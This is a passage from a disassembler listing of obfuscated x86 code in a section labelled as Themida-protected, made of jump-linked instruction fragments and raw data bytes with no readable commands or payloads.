		db 34h,	24h, 58h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	ecx
		mov	ecx, 392A356Ch
		jmp	loc_507EB3
; ---------------------------------------------------------------------------
		db 0B9h, 4, 0
		dd 0CF010000h, 592434FFh, 4C481h, 3C870000h, 24248B24h
		dd 0FFC62BE9h, 0B5515BFFh, 0BDED80B5h, 8002E5C0h, 0C5FE05EDh
		dd 0B6F580h, 0F36859E8h, 0E900005Dh, 5525h, 0DF64E955h
		dd 0CD68FFFFh, 89000002h, 4832424h, 348B0424h, 4C48124h
		dd 68000000h, 3654h, 0BF243C89h, 6DC9788Ah, 8DF7814Fh
		dd 16DC978h, 0BF575FFEh, 2, 815FFE01h, 4ECh, 24348900h
		dd 42474FFh, 8124348Bh,	4C4h, 24048F00h, 2824248Bh, 0E99C2404h
		dd 0FFFFC16Ah, 65E9C729h, 8B000009h, 0C483240Ch, 0FFFF2D04h
		dd 19E9FFFFh, 8100007Fh, 4C4h, 2B95100h, 1000000h, 0E699E9CBh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_506A2E:				; CODE XREF: Themida_:005073FAj
		shr	eax, 7
		push	ebx
		mov	ebx, 79530303h
		jmp	loc_509B52
; ---------------------------------------------------------------------------

loc_506A3C:				; CODE XREF: Themida_:0050C14Bj
		add	ebp, 5E7B281Fh
		mov	eax, ebp
		push	dword ptr [esp]
		pop	ebp
		push	7118h
		mov	[esp], ecx
		push	esp
		pop	ecx
		push	eax
		push	ebp
		mov	ebp, 5E51406Bh
		mov	eax, ebp
		pop	ebp
		push	edi
		mov	edi, 0A1AEBF99h
		sub	eax, 52507FCCh
		add	eax, edi
		add	eax, 52507FCCh
		pop	edi
		add	ecx, eax
		pop	eax
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		jmp	loc_503C5B
; ---------------------------------------------------------------------------
		dw 0E953h
		dd 1E04h, 4C681h, 0EE830000h, 24348704h, 2414895Ch, 4EC81h
		dd 3FE90000h, 0BBFFFFE3h, 5BAA7158h, 40EFCB81h,	0C8E959F7h
		dd 2D00005Eh, 7FFF59F2h, 0D4E9C101h
		db 74h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_506ABB:				; CODE XREF: Themida_:0050DC86j
		pop	esp
		add	ebx, 9DDF1330h
		sub	esp, 4
		mov	[esp], ebx
		push	dword ptr [esp]
		pop	edi
		add	esp, 4
		pop	ebx
		and	eax, edi
		pop	edi
		or	eax, eax
		jz	loc_50DA1C
		push	dword ptr [edi+1Ch]
		push	dword ptr [esp]
		pop	ecx
		push	ebx
		mov	ebx, esp
		jmp	loc_50D664
; ---------------------------------------------------------------------------
		db 8Bh,	4, 24h
aStH		db 'ST[h#[',0
		align 4
		dd 68243C89h, 59260F7Fh, 2088E9h
		db 0
; ---------------------------------------------------------------------------

loc_506B05:				; CODE XREF: Themida_:00503CD4j
		add	dword ptr [esp], 7F774BB6h
		push	ebx
		push	esi
		mov	esi, 3B32558h
		mov	ebx, esi
		pop	esi
		sub	[esp+4], ebx
		pop	ebx
		push	esi
		push	ecx
		mov	ecx, 51B3BEBh
		mov	esi, ecx
		pop	ecx
		push	esi
		mov	esi, 7E205B02h
		sub	[esp+8], esi
		pop	esi
		add	[esp+4], esi
		add	dword ptr [esp+4], 7E205B02h
		pop	esi
		jmp	loc_502B6E
; ---------------------------------------------------------------------------
		dw 8758h
		dd 835C240Ch, 34FF04C4h, 2434FF24h, 8324048Bh, 5DE904ECh
		dd 0F6000063h, 51E6D0D6h, 0ED80B3B5h, 15BFE94Bh, 0C3810000h
		dd 7B742A5Eh, 85DFE9h, 0B4505200h, 8099B2C2h, 0EA804BEAh
		dd 0C2C280D1h, 0EA80E200h, 0D1C280C2h, 584BC280h, 0D00019B0h
		dd 4363E9h, 0BFD0E900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_506B9E:				; CODE XREF: Themida_:0050B4C2j
		sub	ecx, esi
		push	dword ptr [esp]
		pop	esi
		jmp	loc_50F1E4
; ---------------------------------------------------------------------------

loc_506BA9:				; CODE XREF: Themida_:0050CD5Aj
		pop	ecx
		or	eax, eax
		jz	loc_503EF3
		push	dword ptr [edi+28h]
		push	dword ptr [esp]
		jmp	loc_50A686
; ---------------------------------------------------------------------------
		db 2Ch,	0C6h, 0
		dd 66C604F0h, 84CEE953h, 0D0F70000h, 79447E0Dh,	38850545h
		dd 0C2010800h, 24143358h, 0E9241431h, 7C29h, 83240C8Bh
		dd 342C04C4h, 2EC81h, 22E90000h, 5000056h, 2CC67623h, 0B4E9D829h
		db 5Bh,	2 dup(0)
; ---------------------------------------------------------------------------

loc_506C03:				; CODE XREF: Themida_:00509A96j
		add	ecx, 38785F7Eh
		push	eax
		mov	eax, ecx
		mov	esi, eax
		pop	eax
		pop	ecx
		add	[esp+4], esi
		jmp	loc_50D95D
; ---------------------------------------------------------------------------
aRitsmg		db 'R䉎mG',0
		dd 0E9EE0100h, 6C1h, 5253AD66h,	0FFF826E9h, 7E3C1FFh, 85BFEB81h
		dd 0DF21CC77h, 83241C8Bh, 0F78104C4h, 919FFB4Ch, 15FF989h
		dd 0E98158C1h, 39134B3h, 582BB850h, 0C1293DA2h,	0F7E98158h
		dd 0E95A7627h, 72B8h, 0FE35CB80h, 7EBC0C3h, 0F380D3F6h
		dd 0E9DBF6ABh, 4EAEh, 81242C8Bh, 4C4h, 4C58100h, 81000000h
		dd 4EDh, 242C8700h, 2424895Ch, 4240481h, 8B000000h, 0C483240Ch
		dd 87BA5204h, 0E9056969h, 47D9h, 4C5815Dh, 68000000h, 415Fh
		dd 0BB241C89h, 4, 555BDD01h, 42474FFh, 24048F5Dh, 6824248Bh
		dd 464Eh, 0E9242C89h, 0FFFFFACCh
; ---------------------------------------------------------------------------

loc_506CE0:				; CODE XREF: Themida_:0050D0B5j
		add	ecx, 45AC485Eh
		shl	ecx, 2
		jmp	loc_50C25F
; ---------------------------------------------------------------------------

loc_506CEE:				; CODE XREF: Themida_:00509F72j
		pop	eax
		sub	dword ptr [ecx], 51683A6Fh
		mov	ecx, [esp]
		jmp	loc_50998A
; ---------------------------------------------------------------------------
		db 0BAh, 0EDh, 2Ah
		dd 17B93854h, 81C7ABD5h, 0D24D77C1h, 81D1011Ah,	0D24D77E9h
		dd 0CF015A1Ah, 4C78159h, 33000000h, 3C31243Ch, 0C274E924h
		dd 0C483FFFFh, 2434FF04h, 4C48159h, 0E9000000h,	6B9Eh
; ---------------------------------------------------------------------------

loc_506D3C:				; CODE XREF: Themida_:0050EB6Fj
		inc	esi
		dec	esi
		add	esi, 50ED57A3h
		jmp	loc_50960F
; ---------------------------------------------------------------------------
		db 81h,	0C3h, 48h
		dd 5F348918h, 0B60F66h,	4EC81h,	14890000h, 34FF5424h, 0C4835A24h
		dd 26BD5504h, 81130378h, 37822EDh, 7CE5E913h, 0EA810000h
		dd 5CF7692Bh, 0FFF53BE9h, 0E9C201FFh, 6285h, 44FE5266h
		dd 5A660124h, 0FFCFD3E9h, 243431FFh, 8B243433h,	8B662424h
		dd 0E950240Ch, 18E4h, 5898E981h, 42E931D0h, 8100002Ch
		dd 9835EEF1h, 0D9F74119h, 8349E9h, 9C516600h, 0FFBDA5E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_506DC9:				; CODE XREF: Themida_:00504C4Dj
		add	ch, 0D6h
		add	bl, ch
		pop	ecx
		add	bl, 2Dh
		sub	bl, 1Fh
		add	bl, al
		add	bl, 1Fh
		sub	bl, 2Dh
		sub	bl, 55h
		add	bl, 82h
		movzx	eax, al
		jmp	dword ptr [edi+eax*4]
; ---------------------------------------------------------------------------
		db 61h,	0C3h, 66h
		dd 50240C8Bh, 30B968h, 24248900h, 4240481h, 58000000h
		dd 405h, 0A5E95500h
		db 1Bh,	2 dup(0)
; ---------------------------------------------------------------------------

loc_506E0B:				; CODE XREF: Themida_:00505D90j
		xor	ecx, [esp]
		jmp	loc_5083A4
; ---------------------------------------------------------------------------
		db 5Bh
		dd 104C483h, 0F1E95EF2h, 81000015h, 0CC75F9E6h,	0DC20E95Dh
		dd 0EC81FFFFh, 4, 83242489h, 5D042404h,	394DE9h, 34FF5F00h
		dd 0C4835D24h, 4EC8304h, 226FE9h, 24148700h, 6ED5E95Ch
		dd 54010000h, 148B0824h, 4C48324h, 2404815Ah, 2043739Fh
		dd 81240401h, 739F242Ch, 4812043h, 97247E24h, 0BCF0E93Fh
		dd 0EA89FFFFh, 0E2C1425Dh, 0B1EA8108h, 2172ECE6h, 9BE95AD6h
		dd 8900004Ah, 7E92414h,	8100002Eh, 4C5h, 59BE5600h, 814A3C17h
		dd 9329AACEh, 60EE8148h, 4655C231h, 90AEE81h, 73E97C12h
		dd 5EFFFFFAh, 15B1E9h, 9CC88400h, 47F5E9h
		db 0
; ---------------------------------------------------------------------------

loc_506ECD:				; CODE XREF: Themida_:00503ED1j
		push	edx
		mov	edx, 60FF74E8h
		sub	edx, 61D286Dh
		push	ecx
		mov	ecx, 42805A67h
		add	edx, ecx
		pop	ecx
		sub	edx, 3CE6226Eh
		add	edx, 40B7770Ah
		xor	edx, 0D00F5D7Dh
		add	ebp, edx
		pop	edx
		sub	edi, ebp
		mov	ebp, [esp]
		jmp	loc_50B670
; ---------------------------------------------------------------------------
		db 52h,	0E9h, 19h
		dd 8B000059h, 8953240Ch, 4C381E3h, 83000000h, 99E904C3h
		dd 89000035h, 70BE2434h, 0E952482Dh, 2672h, 89243489h
		dd 0DC84E9E6h, 5452FFFFh, 4C2815Ah, 0E9000000h,	3241h
		dd 9C240CD3h, 0FFEBA9E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_506F49:				; CODE XREF: Themida_:005051E6j
		pop	esp
		or	eax, eax
		jz	loc_50CB09
		push	dword ptr [edi+1Ch]
		push	dword ptr [esp]
		jmp	loc_502F69
; ---------------------------------------------------------------------------
aUCfumqsW	db 'U½CFãMQé\w',0
		dd 24048900h, 0B12E9h, 0C3B95100h, 0E90BC15Eh, 768Fh, 2D9A68h
		dd 7355E900h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_506F86:				; CODE XREF: Themida_:00509647j
		pop	esi
		xchg	edx, [esp]
		pop	esp
		mov	[esp], bx
		mov	bh, 48h
		jmp	loc_50EEBF
; ---------------------------------------------------------------------------
		dw 0CB01h
		dd 241C8759h
		db 8Bh,	2 dup(24h)
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		jmp	loc_507438
; ---------------------------------------------------------------------------
aSz		db '^é§-',0
		dd 39C78100h, 0E9D3AD4Ch, 4474h, 96020FBBh, 0FBE38149h
		dd 0C12D001Ch, 814308E3h, 0BD1988F3h, 24C38121h, 290F996Ch
		dd 875B5BD9h, 895C240Ch, 0BF57240Ch, 676255Ah, 9807AEB9h
		dd 0E9F93149h, 0FFFFF0E9h, 0B959D1B9h, 59CA2958h, 85E9CA01h
		dd 52FFFFF5h, 72E9E289h
		db 0C6h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_507007:				; CODE XREF: Themida_:00502D49j
		mov	[esp], ecx
		jmp	loc_50555A
; ---------------------------------------------------------------------------
		db 1
		dd 0EF8159CFh, 4, 8B243C87h, 1C892424h,	80C2E924h, 43E90000h
		dd 58FFFFBBh, 0FFDC28E9h, 0B25266FFh, 66D028F0h, 314AE95Ah
		dd 148B0000h, 4C48124h,	83000000h, 67E902C5h, 8900007Bh
		dd 0A5E9240Ch
		db 28h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_507057:				; CODE XREF: Themida_:00509A31j
		add	ecx, 4
		xchg	ecx, [esp]
		jmp	loc_502BC3
; ---------------------------------------------------------------------------

loc_507065:				; CODE XREF: Themida_:0050AF2Ej
		xor	dword ptr [esp], 0FF025C1h
		jmp	loc_50E5DC
; ---------------------------------------------------------------------------
		db 55h,	0BDh, 47h
		dd 11E216Eh, 0E904246Ch, 0FFFFBB9Ah
; ---------------------------------------------------------------------------

loc_507080:				; CODE XREF: Themida_:00508A56j
		not	ebp
		push	ebx
		push	ecx
		mov	ecx, 43681B48h
		mov	ebx, ecx
		pop	ecx
		or	ebp, ebx
		mov	ebx, [esp]
		push	ecx
		mov	ecx, esp
		jmp	loc_5051FE
; ---------------------------------------------------------------------------
		db 8Bh,	34h, 24h
		dd 4C481h, 0A3E90000h, 66FFFFDFh, 51240C8Bh, 5750E189h
		dd 0DE5EB9BFh, 5FF88947h, 0A045B225h, 2D49257Bh, 0B9516E84h
		dd 4A3A77CCh, 4104E1C1h, 2430E9h
		db 0
; ---------------------------------------------------------------------------

loc_5070D1:				; CODE XREF: Themida_:005068C8j
		sub	ch, 93h
		add	bl, ch
		pop	ecx
		jmp	loc_50AF28
; ---------------------------------------------------------------------------
		dd 8BE9028Fh
		db 0BAh, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_5070E3:				; CODE XREF: Themida_:0050A8C7j
		pop	edx
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		push	ebx
		push	esi
		mov	esi, 51A81AD5h
		mov	ebx, 17FEFCB2h
		jmp	loc_505AB8
; ---------------------------------------------------------------------------
		dd 42474FFh, 0FFD8F4E9h, 4AEAD1FFh, 65F28142h, 81018D06h
		dd 0C44D9FCAh, 0DB48E954h, 0DD29FFFFh, 242C875Bh, 2424895Ch
		dd 4188E9h, 0E9D6F700h,	4217h, 8E1C166h, 31B5E9h, 0E2895200h
		dd 4C281h, 0EA810000h, 4, 0FFF4FBE9h, 660381FFh, 8BD3009Dh
		dd 0C483241Ch, 2447C704h, 66CC6E1Eh, 63A7E9h, 0EC835B00h
		dd 243C8904h, 5CA7E9h, 3C895C00h, 0E95F5424h, 4C7Fh, 0C281E289h
		dd 4, 8704C283h, 248B2414h, 0CE9FE924h,	8B5EFFFFh, 0C483242Ch
		dd 24048704h, 2424D25Ch, 0B9BCE99Ch, 0F028FFFFh, 8124148Bh
		dd 4C4h, 0EC815100h, 4,	0E9240489h, 0FFFFF8B2h,	9BEB815Fh
		dd 161525Fh, 9BC381EBh,	5D61525Fh, 8904EC83h, 74FF241Ch
		dd 8F5B0424h, 248B2404h, 695CE924h, 0B0BB0000h,	81065F3Ch
		dd 0AA508CC3h, 0F8BD5528h, 8178F070h, 0DA00E4EDh, 5DEB2153h
		dd 752B68h, 24048900h, 8F1E5FB8h, 8BC30133h, 0C4832404h
		dd 4EBC104h, 81FFEB83h,	88F1EAF3h, 70C78105h, 0E917203Ah
		dd 0FFFFF484h, 159C801h, 24048BC3h, 4C481h, 0EB810000h
		dd 4, 31241C33h, 1C33241Ch, 1C895C24h, 50E38924h, 4B8h
		dd 58C30100h, 3302C383h, 1C31241Ch, 241C3324h, 48B665Ch
		dd 4EC8324h, 89241489h,	7E5C68E2h, 3C890000h, 0DBEBE924h
		dd 8166FFFFh, 664053CBh, 0C48C381h, 198A6866h, 1FC2E9h
		dd 16BE5600h, 816ADF1Ch, 2A55D7C6h, 50EE814Fh, 317CEB17h
		dd 3ED7E9F5h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_5072B6:				; CODE XREF: Themida_:005067ECj
		xchg	ecx, [esp]
		pop	esp
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		push	ebp
		mov	ebp, 4
		add	ebx, ebp
		pop	ebp
		push	ebx
		push	dword ptr [esp+4]
		pop	ebx
		pop	dword ptr [esp]
		mov	esp, [esp]
		jmp	loc_50C16E
; ---------------------------------------------------------------------------
		db 0F6h, 0D0h, 0C0h
		dd 0C8FE05E8h, 0FFDA2FE9h, 82E95DFFh, 89000037h, 8B54240Ch
		dd 0C481240Ch, 4, 4EC81h, 34890000h, 7B39BE24h,	0BD557B87h
		dd 847884CBh, 15DEE01h,	0BD555EF1h, 603F3083h, 0C581D5F7h
		dd 603F3086h, 5FECC181h, 6DE976F1h, 0AC00004Bh,	7F02E9h
		dd 0B834E900h, 0C483FFFFh, 81D18704h, 4ECh, 24048900h
		dd 21317FB8h, 0DC09E922h, 0E7C1FFFFh, 0FC53E906h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_50735A:				; CODE XREF: Themida_:0050B1CCj
		xchg	edx, [esp]
		pop	esp
		mov	[esp], ebx
		jmp	loc_509919
; ---------------------------------------------------------------------------
		dw 9A05h
		dd 0E93FAD40h, 0FFFFCF46h, 1141C781h, 48B2D3Bh,	4C48124h
		dd 5000000h, 1B2C05F3h,	0F32DF801h, 5F1B2C05h, 8B85056h
		dd 0F734EA5Dh, 413E35D8h, 250D5F16h, 4853095Ah,	2D05E8C1h
		dd 0DE805B5Ah, 8158C689h, 9E578AC6h, 0ED5EE961h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_5073B6:				; CODE XREF: Themida_:0050F0B5j
		mov	cx, [esp]
		push	esi
		mov	esi, esp
		add	esi, 4
		jmp	loc_5050D7
; ---------------------------------------------------------------------------
		dd 0F1108468h, 4ED5E96Ah, 0FE590000h, 0FED2F6C2h, 69F280C2h
		dd 43E0E9h
		db 0
; ---------------------------------------------------------------------------

loc_5073E1:				; CODE XREF: Themida_:0050F072j
		mov	eax, 0D4A44B8h
		xor	eax, 1028458Dh
		push	ebp
		mov	ebp, 75E13BC2h
		xor	ebp, 5F8806F9h
		sub	eax, ebp
		pop	ebp
		jmp	loc_506A2E
; ---------------------------------------------------------------------------

loc_5073FF:				; CODE XREF: Themida_:0050E40Dj
		push	dword ptr [esp]
		pop	ecx
		push	edi
		push	esp
		pop	edi
		push	0B29h
		mov	[esp], ecx
		mov	ecx, 39C1042Ah
		or	ecx, 6A3A1D06h
		jmp	loc_503A23
; ---------------------------------------------------------------------------

loc_50741E:				; CODE XREF: Themida_:0050D226j
		pop	ebp
		pop	dword ptr [esp]
		pop	esp
		mov	[esp], ecx
		not	dword ptr [esp]
		mov	ecx, [esp]
		add	esp, 4
		xor	esi, ecx
		xor	ecx, esi
		jmp	loc_5032E3
; ---------------------------------------------------------------------------

loc_507438:				; CODE XREF: Themida_:00506FA2j
		add	ebp, 4
		jmp	loc_503BA0
; ---------------------------------------------------------------------------

loc_507443:				; CODE XREF: Themida_:00505271j
		pop	ecx
		jmp	loc_507B79
; ---------------------------------------------------------------------------

loc_507449:				; CODE XREF: Themida_:00503FEFj
		push	esi
		jmp	loc_50B088
; ---------------------------------------------------------------------------
		db 81h
		dd 45FAFDEBh, 5BD801C8h, 0E9240487h, 0FFFFDAE7h, 4705D829h
		dd 0E928D059h, 0FFFFE42Fh, 0CAFE12B2h, 0D4F6E286h, 0A8E9E286h
		dd 6600006Bh, 50240C8Bh, 0E953E089h, 0FFFFC342h
; ---------------------------------------------------------------------------

loc_507488:				; CODE XREF: Themida_:0050B68Aj
		mov	[esp], edx
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_50984A
; ---------------------------------------------------------------------------

loc_507496:				; CODE XREF: Themida_:0050AAFDj
		mov	[esp], ebp
		mov	ebp, 221D2E63h
		sub	ebp, 19F36BB3h
		shr	ebp, 8
		xor	ebp, 21B079CFh
		add	ebp, 0E2CDC3E3h
		or	ebp, 148A1B0Dh
		xor	ebp, 121F0BF5h
		sub	ecx, ebp
		jmp	loc_50A3B3
; ---------------------------------------------------------------------------
		dw 0E6C1h
		dd 0B5E94E08h, 0FFFFFFE0h
		db 34h,	24h, 5Eh
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		jmp	loc_504487
; ---------------------------------------------------------------------------
		dd 0C8416368h, 242C8B3Bh, 4C481h, 0C14D0000h, 0ED8106E5h
		dd 0E2B308DAh, 15E9E989h, 1000017h, 1BC581F5h, 5E115476h
		dd 295DE829h, 0EA33E9D8h, 0D389FFFFh, 6092E9h, 4EC8300h
		dd 89240489h, 123D68E0h, 2C890000h, 4BD24h, 0D4E90000h
		db 6Fh,	2 dup(0)
; ---------------------------------------------------------------------------

loc_507537:				; CODE XREF: Themida_:0050BC8Fj
		sub	eax, esi
		jmp	loc_503614
; ---------------------------------------------------------------------------
		dw 0BB53h
		dd 7E343CBh, 0D45248B8h, 5BD83137h, 0BE94840h, 81FFFFF3h
		dd 0C93861E2h, 85C28121h, 816CD37Bh, 740592C2h,	0E60CE97Ch
		dd 0D3F6FFFFh, 1AEDE952h, 0C4830000h, 2C78104h,	87000000h
		dd 248B243Ch, 3FD4E924h, 48B0000h, 7653E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_50758E:				; CODE XREF: Themida_:0050C3C2j
		pop	eax
		xchg	edi, [esp]
		mov	esp, [esp]
		jmp	loc_509B3F
; ---------------------------------------------------------------------------
		dw 3433h
		dd 24343124h, 0E9243433h, 0FFFFE984h, 24248B66h, 0FFB5BDE9h
		dd 0E9E089FFh, 1953h, 0E9C0D9F6h, 36B65207h, 305AF128h
		dd 20AAE9CEh, 0D9F70000h, 0FDE98141h, 0E9D78EB3h, 2B3h
		dd 3B2F6866h, 240C8966h, 2414F766h, 240C8B66h, 5902E9h
		dd 82BD5500h, 291BDEBBh, 2CDBE9E9h, 0EE810000h,	4, 0FFFF95E9h
		dd 4C483FFh, 0FFCEDBE9h, 3877FFFFh, 0D1685552h,	5D4C7F71h
		dd 6899E581h, 81E93589h, 89000038h, 32BD242Ch, 16C5645h
		dd 5D08246Ch, 6883E9h, 270ABD00h, 33052ADCh, 0E9689F72h
		dd 0CDAh, 1535D7B9h, 244C290Ah,	428F5904h, 30428130h, 0A1535D7h
		dd 1511E958h, 0CA800000h, 0E9DAF693h, 6CCDh, 60B9515Bh
		dd 817D1C3Ah, 4B4B9AE1h, 299E942h, 0EFE90000h, 0BDFFFFB4h
		dd 16C95500h, 22BAE9h, 4B85000h, 81000000h, 0D44BE6EDh
		dd 81C50141h, 0D44BE6C5h, 0C78EE941h, 0E95BFFFFh, 171Dh
		dd 0E95BD829h, 0FFFFFCB6h, 0F2D49B05h, 0D4AEE9BBh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_5076BA:				; CODE XREF: Themida_:0050A42Fj
		add	ebx, edi
		pop	edi
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		push	edx
		mov	edx, 4
		add	edi, edx
		jmp	loc_50EE18
; ---------------------------------------------------------------------------
		dd 7CAD6856h, 815E79BCh, 2067B9E6h, 0C4B4E93Ah,	34FFFFFFh
		dd 0D2685924h, 8900005Fh, 5A542414h, 5215E9h
		db 0
; ---------------------------------------------------------------------------

loc_5076F9:				; CODE XREF: Themida_:0050B1C1j
		add	esp, 4
		push	dword ptr [esp]
		push	dword ptr [esp]
		mov	edx, [esp]
		add	esp, 4
		push	edi
		mov	edi, esp
		add	edi, 4
		sub	edi, 4
		xor	edi, [esp]
		xor	[esp], edi
		jmp	loc_505D78
; ---------------------------------------------------------------------------

loc_507725:				; CODE XREF: Themida_:0050E393j
		not	ebx
		xor	edi, ebx
		xor	ebx, edi
		xor	edi, ebx
		xchg	eax, edi
		xor	eax, 15D82846h
		jmp	loc_5094EC
; ---------------------------------------------------------------------------
		dd 240C8B66h, 815E5456h, 4C6h, 4EE8300h, 5C243487h, 54243C89h
		dd 4C7815Fh, 83000000h,	3C8704EFh, 34895C24h, 26CAE924h
		dd 0BD550000h, 6A422E8Eh, 8246C29h, 2434FF5Dh, 0E92434FFh
		dd 7B81h
; ---------------------------------------------------------------------------

loc_50777C:				; CODE XREF: Themida_:00503CDBj
		pop	ebp
		mov	edx, [esp]
		add	esp, 4
		push	eax
		sub	esp, 4
		mov	[esp], ebp
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		push	dword ptr [esp]
		pop	ebp
		jmp	loc_50A17B
; ---------------------------------------------------------------------------
		db 8Bh
		dd 0C481240Ch, 4, 0FFE65FE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_5077B1:				; CODE XREF: Themida_:00502B71j
		push	ecx
		mov	cl, 79h
		sub	cl, 24h
		add	al, 0DAh
		add	al, cl
		sub	esp, 2
		jmp	loc_50BDCE
; ---------------------------------------------------------------------------
		dw 8B66h
		dd 0E9562404h, 0FFFFF1DAh, 8B2434FFh, 24E92404h, 5200004Dh
		dd 4BAh, 13FBE900h, 0CFFE0000h,	30FCC780h, 0E4C05BFCh
		dd 0F6CCFE06h, 10EC80D4h, 3E9E388h, 41000041h, 83AE981h
		dd 0C80183BAh, 30FDE9h,	240C8B00h, 79FE9h, 0C4835900h
		dd 33256804h, 0C890000h, 0E97DB524h, 6166h, 56535052h
		dd 157E0868h, 24348B44h, 8104C483h, 0C772FDE6h,	0C1D6F75Ah
		dd 0D9E904EEh
		db 46h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_507847:				; CODE XREF: Themida_:0050BC02j
		push	eax
		push	1AC1h
		mov	[esp], esi
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_50F180
; ---------------------------------------------------------------------------
		db 89h
		dd 0D22D5BD8h, 0E956DDE2h, 0FFFFED92h, 0D7B55150h, 0FFB4DDE9h
		dd 0DAF659FFh, 58CBE9h,	28900400h, 90B252C8h, 665AD028h
		dd 9FE95359h, 100000Ch,	0FF5359CBh, 5B042474h, 5C24048Fh
		dd 0E924048Bh, 3E70h
		db 8Bh,	2Ch, 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		jmp	loc_5042C8
; ---------------------------------------------------------------------------
		dw 34FFh
		dd 2434FF24h, 17D16858h, 1C890000h, 73936824h, 24890000h
		dd 24048124h, 4, 5B2434FFh, 81595451h, 4C1h, 4C18100h
		dd 87000000h, 815C240Ch, 4C3h, 4C38100h, 87000000h, 1CE9241Ch
		db 3Fh,	2 dup(0)
; ---------------------------------------------------------------------------

loc_507903:				; CODE XREF: Themida_:0050499Fj
		add	ebp, eax
		jmp	loc_5087E0
; ---------------------------------------------------------------------------
		dw 0BA66h
		dd 5CE904AEh, 8100003Eh, 0DA727FF1h, 68E9817Ch,	0E91A447Dh
		dd 0FFFFD882h, 0E9243C89h, 0FFFFD414h, 8140478Fh, 6EEF4047h
		dd 34FF62F1h, 24048B24h, 6A1868h, 24348900h, 0C6815E54h
		dd 4, 3015BB53h, 0DBF77D42h, 0CFEFF381h, 13E982BDh, 0B900000Eh
		dd 63486614h, 803C981h,	0BF5724E5h, 7B0F06B9h, 26C3CF81h
		dd 0E7817143h, 4F161C2Bh, 5720C781h, 47E94332h
		db 0D6h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_507987:				; CODE XREF: Themida_:0050D7E8j
		pop	eax
		sub	edi, edx
		pop	edx
		xchg	edi, [esp]
		mov	esp, [esp]
		mov	[esp], ebx
		push	ecx
		jmp	loc_50B8C1
; ---------------------------------------------------------------------------
		dw 0B951h
		dd 401020C4h, 89CB8953h, 0C8B5BD8h, 11F16824h, 14890000h
		dd 0E9E28924h, 3F28h, 0F70093B7h, 2C7E045Ah, 476E96Fh
		dd 1C890000h, 51D78824h, 523368h, 24048900h, 0C188F888h
		dd 3BA86858h, 14890000h, 0CF885324h, 1C8BFE88h,	4C48124h
		dd 88000000h, 8B5A8734h, 0C6E9240Ch, 0C100001Bh, 0E5C105EDh
		dd 9BB85006h, 11FBA76h,	0C58158C5h, 0E1674CE7h,	0FFD999E9h
		dd 1AED81FFh, 291AA55Eh, 1AC581F5h, 8B1AA55Eh, 0CCE92434h
		dd 29000056h, 0FD315DEFh, 5DE9215Fh, 7B62C981h,	0F749615Ah
		dd 69C181D9h, 81795F7Bh, 1C5AACEFh, 81CF0122h, 1C5AACC7h
		dd 0C7835922h, 243C3302h, 0FFD1C8E9h, 71C2BAFFh, 7FE97A11h
		dd 80FFFFD3h, 0D328B9EAh, 1A1EE95Ah, 0F5800000h, 0F1E95265h
		dd 8BFFFFF9h, 74E92424h, 0B8000050h, 4,	48BC389h, 0EAD7E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_507A92:				; CODE XREF: Themida_:005097AEj
		push	ebx
		jmp	loc_50AA0C
; ---------------------------------------------------------------------------

loc_507A98:				; CODE XREF: Themida_:0050E87Dj
		sub	edi, 97E3E75Dh
		sub	eax, 5349599Eh
		add	eax, edi
		add	eax, 5349599Eh
		jmp	loc_50D6DC
; ---------------------------------------------------------------------------
aUfNfislSj	db 'Uf½²nf‰è‹,$é¦&',0
		dw 6600h
		dd 5124048Bh, 3868E189h, 89000041h, 4BD242Ch, 1000000h
		dd 11C4E9E9h, 3C8B0000h, 4BB3E924h, 0C4810000h,	4, 4C381h
		dd 0EC810000h, 4, 0E9242C89h, 3A78h, 0E9242C8Bh, 0FFFFE5E5h
; ---------------------------------------------------------------------------

loc_507B04:				; CODE XREF: Themida_:0050D513j
		xor	ebx, 3EFE68DAh
		sub	eax, ebx
		mov	ebx, [esp]
		push	edx
		mov	edx, esp
		jmp	loc_50BDD8
; ---------------------------------------------------------------------------
		db 81h
		dd 0C6578CC2h, 40C38133h, 8124CF7Ah, 0FA08B8EBh, 81D30158h
		dd 0FA08B8C3h, 0B040E958h, 0C89FFFFh, 81E18924h, 4C1h
		dd 68575500h, 4F1F73C3h, 0C68475Fh, 8900003Dh, 92E9241Ch
		dd 0BA00004Bh, 1, 515AD029h, 0F61316B9h, 0E9814141h, 0F1680ABEh
		dd 0FFCA0DE9h, 2434FFFFh, 5F29E9h
		db 0
; ---------------------------------------------------------------------------

loc_507B79:				; CODE XREF: Themida_:00507444j
		add	ecx, 4
		jmp	loc_504906
; ---------------------------------------------------------------------------
		dd 5C241487h, 0E9243C89h, 69E1h, 240C8B66h, 4EC81h, 5AE90000h
		db 0CEh, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_507B9F:				; CODE XREF: Themida_:00505E02j
